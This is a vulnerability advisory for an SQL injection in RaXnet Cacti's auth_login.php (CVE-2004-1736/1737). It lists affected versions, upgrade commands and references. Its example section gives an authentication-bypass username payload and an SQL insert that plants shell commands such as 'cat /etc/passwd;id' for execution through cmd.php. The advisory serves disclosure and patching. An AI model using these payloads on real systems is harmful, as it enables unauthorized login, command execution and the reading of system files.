RaXnet Cacti Auth_Login.PHP SQL Injection Vulnerability

Bugtraq ID:	10960
Class:	Input Validation Error
CVE:	CVE-2004-1736 CVE-2004-1737
Remote:	Yes
Local:	No
Published:	Aug 16 2004 12:00AM
Updated:	Jul 12 2009 06:16AM
Credit:	Discovery of this vulnerability is credited to Fernando Quintero <[email protected]>.
Vulnerable:	Raxnet Cacti 0.8.5 a Raxnet Cacti 0.8.5 Raxnet Cacti 0.8.4 Raxnet Cacti 0.8.3 a Raxnet Cacti 0.8.3 Raxnet Cacti 0.8.2 a Raxnet Cacti 0.8.2 Raxnet Cacti 0.8.1 Raxnet Cacti 0.8 Raxnet Cacti 0.6.8 a Raxnet Cacti 0.6.8 Raxnet Cacti 0.6.7 + Debian Linux 3.0 Raxnet Cacti 0.6.6 Raxnet Cacti 0.6.5 Raxnet Cacti 0.6.4 Raxnet Cacti 0.6.3 Raxnet Cacti 0.6.2 Raxnet Cacti 0.6.1 Raxnet Cacti 0.6 Raxnet Cacti 0.5 Gentoo Linux 1.4
Not Vulnerable:

RaXnet Cacti Auth_Login.PHP SQL Injection Vulnerability

RaXnet Cacti is reportedly affected by a remote SQL injection vulnerability. This issue occurs in the auth_login.php script due to a failure of the application to properly sanitize user-supplied "username" URI parameter input before using it in an SQL query.

It is demonstrated that an attacker may exploit this vulnerability in order to bypass the authentication interface used by Cacti.

RaXnet Cacti Auth_Login.PHP SQL Injection Vulnerability

The following examples are available:

username = admin' or '6'='6
password = password wished

insert into data_input_data_cache (local_data_id, host_id,
data_input_id, action, command, hostname, snmp_community,
snmp_version, snmp_username, snmp_password, snmp_port, snmp_timeout,
rrd_name, rrd_path, rrd_num, arg1, arg2, arg3)
values ('9', '1', '7', '1', 'cat /etc/passwd;id;somecommand; some
script', '127.0.0.1', '', '1', '', '', '161', '500',
'hack', '/', '3', 'NULL', 'NULL', 'NULL');

Then points to http://www.example.com/cacti/cmd.php and the command will be
executed.

RaXnet Cacti Auth_Login.PHP SQL Injection Vulnerability

Solution:
It is reported that this vulnerability is addressed in the CVS release. This is not confirmed.

Gentoo has released advisory GLSA 200408-21 dealing with this issue. Users are advised to upgrade to the latest available version of Cacti using the following sequence of commands:

# emerge sync

# emerge -pv ">=net-analyzer/cacti-0.8.5a-r1"
# emerge ">=net-analyzer/cacti-0.8.5a-r1"

Please see the referenced Gentoo advisory for more information.

Gentoo has released an update to the above-mentioned advisory; the workaround section has been updated. Please see the referenced advisory for more information.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

RaXnet Cacti Auth_Login.PHP SQL Injection Vulnerability

References:

• Cacti Homepage (Cacti)
  
• Re: SQL Injection in CACTI (Thomas Chiverton )
  
• SQL Injection in CACTI (Fernando Quintero )